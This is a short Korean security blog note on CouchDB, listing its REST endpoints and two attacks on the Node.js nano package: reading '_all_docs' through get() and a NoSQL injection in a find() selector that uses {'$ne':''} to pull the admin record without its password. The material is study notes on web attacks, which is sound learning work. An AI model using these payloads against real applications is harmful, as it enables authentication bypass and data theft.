반응형
- CouchDB
JSON 객체 형태인 도큐먼트 저장
키와 값이 하나의 쌍을 이루는 데이터를 저장
REST API 형식으로 HTTP 메서드를 사용해 요청을 받고 처리함
데이터 삽입 : users 데이터베이스 값 추가
curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
데이터 조회 : users 데이터베이스 값 조회
curl http://{username}:{password}@localhost:5984/users/guest
- CouchDB 특수 구성요소
(서버)
/ : 인스턴스에 대한 메타정보 반환
/_all_dbs : 인스턴스 데이터베이스 목록 반환
/_utils : 관리자 페이지 이동
(DB)
/{db} : 지정한 데이터베이스에 대한 정보 반환
/{db}/_all_docs : 지정한 데이터베이스에 포함된 모든 도큐먼트 반환
/{db}/_find : 지정한 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트 반환
특수 구성요소 : https://docs.couchdb.org/en/latest/api/index.html
- CouchDB 공격기법
- nano 패키지
NodeJS에서 couchDB를 사용할 때 주로 사용
get 함수 : _id 값을 통해 데이터 조회
find 함수 : 쿼리기반으로 데이터 가져옴
- get 함수
특수 구성 요소 _all_docs, _db 등에 접근해 데이터베이스 정보 획득 가능
함수는 특성 구성 요소 포함 여부에 대해 검사하지 않음
require('nano')('http://{username}:{password}@localhost:5984').use('{db}').get('_all_docs', function(err, res){ console.log(err) })
정상적인 접근은 아래와 같다.
require('nano')('http://{username}:{password}@localhost:5984').use('{db}').get('{data}', function(err, res){ console.log('err') })
- find 함수
전달된 쿼리가 NULL인지와 객체 타입이 아닌지를 검사하고 에러를 발생시킴
공격자가 조건 식을 만들고, 조건에 해당하지 않는 데이터를 획득할 수 있음
require('nano')('http://{username}:{password}@localhost:5984').use('{db}').find({'selector':{'_id':'admin', 'upw':{'$ne':''}}}, function(err, res){ console.log(err) })
정상적인 접근은 아래와 같다.
require('nano')('http://{username}:{password}@localhost:5984').use('{db}').find({'selector':{'_id':'guest', 'upw':'guest'}}, function(err, res){ console.log(err) })
반응형
'security > web' 카테고리의 다른 글
file url schema (0) | 2023.08.20 |
---|---|
127.0.0.1 / localhost 우회 (0) | 2023.08.20 |
CSS Injection (0) | 2023.07.15 |
[SQL Injection] Error&Time based (0) | 2023.01.24 |
필터링 우회 (0) | 2023.01.22 |